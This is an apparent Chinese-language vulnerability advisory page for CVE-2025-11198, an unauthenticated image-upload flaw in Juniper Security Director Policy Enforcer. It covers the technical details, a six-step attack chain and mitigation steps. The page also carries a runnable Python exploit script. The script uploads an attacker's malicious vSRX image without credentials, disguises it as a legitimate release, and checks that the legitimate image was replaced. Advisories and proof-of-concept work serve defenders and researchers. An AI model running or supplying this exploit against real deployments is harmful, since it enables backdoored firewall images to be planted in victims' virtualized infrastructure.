IPBUF安全漏洞报告
English
CVE-2025-11198 CVSS 7.4 高危

CVE-2025-11198:Juniper Security Director Policy Enforcer缺少认证关键功能漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-11198
漏洞类型
缺少认证的关键功能漏洞(Missing Authentication for Critical Function)
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Juniper Networks Security Director Policy Enforcer

相关标签

CVE-2025-11198JuniperSecurity DirectorPolicy Enforcer缺少认证Missing Authentication镜像替换vSRXVMware NSX虚拟化安全

漏洞概述

CVE-2025-11198是Juniper Networks Security Director Policy Enforcer中存在的一个高危安全漏洞,属于缺少对关键功能进行身份验证(Missing Authentication for Critical Function)类漏洞。该漏洞的CVSS 3.1评分为7.4分,严重等级为HIGH。

Security Director Policy Enforcer是瞻博网络(Juniper Networks)推出的一款安全策略管理与实施解决方案,用于在虚拟化环境中集中管理和部署安全策略,包括与VMware NSX等虚拟化平台的集成。该组件允许管理员通过统一界面管理vSRX虚拟防火墙的部署与策略下发。

该漏洞允许未经认证的网络攻击者将合法的vSRX虚拟防火墙镜像替换为恶意构造的镜像。当受信任的用户在不知情的情况下发起部署操作时,Security Director Policy Enforcer会将攻击者上传的恶意镜像投递至VMware NSX虚拟化平台,而非合法的vSRX镜像。这将导致恶意镜像在虚拟化环境中被执行,可能造成数据窃取、横向移动、持久化驻留等严重后果。

该漏洞影响所有23.1R1 Hotpatch v3之前的Security Director Policy Enforcer版本,但不影响Junos Space Security Director Insights产品。该漏洞由瞻博网络内部安全事件响应团队([email protected])发现并报告,已发布相应的安全公告JSA103437进行说明。

技术细节

该漏洞的核心问题在于Security Director Policy Enforcer在处理vSRX虚拟防火墙镜像上传功能时,未对上传操作实施有效的身份验证机制。具体而言,攻击者可以通过网络直接访问Policy Enforcer的镜像上传接口,无需提供任何凭据即可将恶意构造的vSRX镜像文件上传至系统中。

漏洞利用的技术原理如下:

1. **认证缺失**:Policy Enforcer的镜像管理API端点缺少身份验证检查,攻击者无需有效的会话令牌或凭据即可调用上传接口。

2. **镜像替换**:攻击者上传的恶意镜像会被存储在Policy Enforcer的镜像库中,覆盖或替换原有的合法vSRX镜像。由于系统未对镜像来源进行完整性校验,恶意镜像可以伪装成合法的vSRX镜像。

3. **恶意投递**:当受信任的管理员通过Policy Enforcer发起vSRX部署操作时,系统会从镜像库中获取镜像并推送至VMware NSX管理器。由于镜像已被替换为恶意版本,NSX将部署并运行攻击者控制的虚拟防火墙实例。

4. **作用域影响**:CVSS向量中的S:C(Scope Changed)表明该漏洞的影响范围会超出Policy Enforcer本身,延伸至VMware NSX虚拟化环境。

该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),但需要用户交互(UI:R)——即需要受信任用户触发部署操作。完整性影响为高(I:H),因为攻击者可以部署任意恶意镜像。

攻击链分析

STEP 1
步骤1:侦察与目标识别
攻击者通过网络扫描或信息收集,识别暴露在网络中的Juniper Security Director Policy Enforcer管理接口,确定目标版本在受影响范围内(23.1R1 Hotpatch v3之前)。
STEP 2
步骤2:构造恶意vSRX镜像
攻击者准备一个恶意的vSRX虚拟防火墙镜像文件,该镜像包含后门程序或恶意代码,并将其伪装为合法的Juniper vSRX镜像格式(qcow2),命名和描述信息模仿合法镜像以逃避检测。
STEP 3
步骤3:未认证上传恶意镜像
攻击者利用Policy Enforcer镜像上传接口缺少身份验证的漏洞,无需任何凭据即可通过网络直接将恶意vSRX镜像上传至Policy Enforcer的镜像库中,覆盖或替换原有的合法镜像。
STEP 4
步骤4:等待受信任用户触发部署
攻击者等待受信任的管理员通过Policy Enforcer正常发起vSRX虚拟防火墙的部署操作。此步骤需要用户交互(UI:R),即需要合法用户主动执行部署流程。
STEP 5
步骤5:恶意镜像投递至VMware NSX
当管理员触发部署操作时,Policy Enforcer从已被污染的镜像库中获取镜像,并将其投递至VMware NSX虚拟化平台。NSX将部署并运行攻击者控制的恶意vSRX实例。
STEP 6
步骤6:执行恶意代码与持久化
恶意vSRX镜像在VMware NSX环境中启动后,攻击者的后门代码获得执行权限,可在虚拟化环境中窃取敏感数据、进行横向移动、建立持久化驻留通道,严重危害整个虚拟化基础设施的安全。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11198 PoC - Juniper Security Director Policy Enforcer Missing Authentication # This PoC demonstrates the missing authentication vulnerability in the image upload functionality import requests import argparse class PolicyEnforcerExploit: """ Exploit for CVE-2025-11198: Missing Authentication for Critical Function in Juniper Security Director Policy Enforcer. The vulnerability allows unauthenticated attackers to upload malicious vSRX images that will be deployed to VMware NSX when a trusted user initiates a deployment operation. """ def __init__(self, target_url, malicious_image_path): self.target_url = target_url.rstrip('/') self.malicious_image_path = malicious_image_path self.session = requests.Session() def upload_malicious_image(self): """ Upload a malicious vSRX image to the Policy Enforcer without authentication. The image upload endpoint lacks proper authentication checks. """ # Target endpoint for image upload (vulnerable - no auth required) upload_endpoint = f"{self.target_url}/api/v1/images/upload" # Prepare the malicious vSRX image for upload with open(self.malicious_image_path, 'rb') as img_file: files = { 'image': ('vsrx-image.qcow2', img_file, 'application/octet-stream') } data = { 'name': 'vsrx-23.1R1', # Disguise as legitimate version 'type': 'vSRX', 'description': 'Juniper vSRX Virtual Firewall' } # No authentication headers needed - vulnerability allows unauthenticated access response = self.session.post( upload_endpoint, files=files, data=data ) if response.status_code == 200: print(f"[+] Malicious image uploaded successfully") print(f"[+] Image will be deployed when admin triggers vSRX deployment") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False def verify_replacement(self): """ Verify that the malicious image has replaced the legitimate one in the image repository. """ list_endpoint = f"{self.target_url}/api/v1/images/list" response = self.session.get(list_endpoint) if response.status_code == 200: images = response.json() for img in images: print(f"[*] Found image: {img.get('name')} - Type: {img.get('type')}") return True return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-11198 Exploit') parser.add_argument('-t', '--target', required=True, help='Target Policy Enforcer URL') parser.add_argument('-i', '--image', required=True, help='Path to malicious vSRX image') args = parser.parse_args() exploit = PolicyEnforcerExploit(args.target, args.image) print("[*] CVE-2025-11198 - Juniper Security Director Policy Enforcer Exploit") print("[*] Uploading malicious vSRX image without authentication...") if exploit.upload_malicious_image(): exploit.verify_replacement() print("[+] Exploit completed. Waiting for admin to trigger deployment...") if __name__ == "__main__": main()

影响范围

Juniper Security Director Policy Enforcer < 23.1R1 Hotpatch v3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络防火墙限制Policy Enforcer管理接口的访问,仅允许受信任的管理网络IP访问;2)定期检查镜像库的完整性,核实所有vSRX镜像的来源和哈希值;3)暂停非必要的vSRX部署操作,减少恶意镜像被投递至VMware NSX的风险;4)密切监控Policy Enforcer的操作日志,及时发现异常的镜像上传行为;5)对VMware NSX环境中已部署的vSRX实例进行安全审查,确认其完整性和合法性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表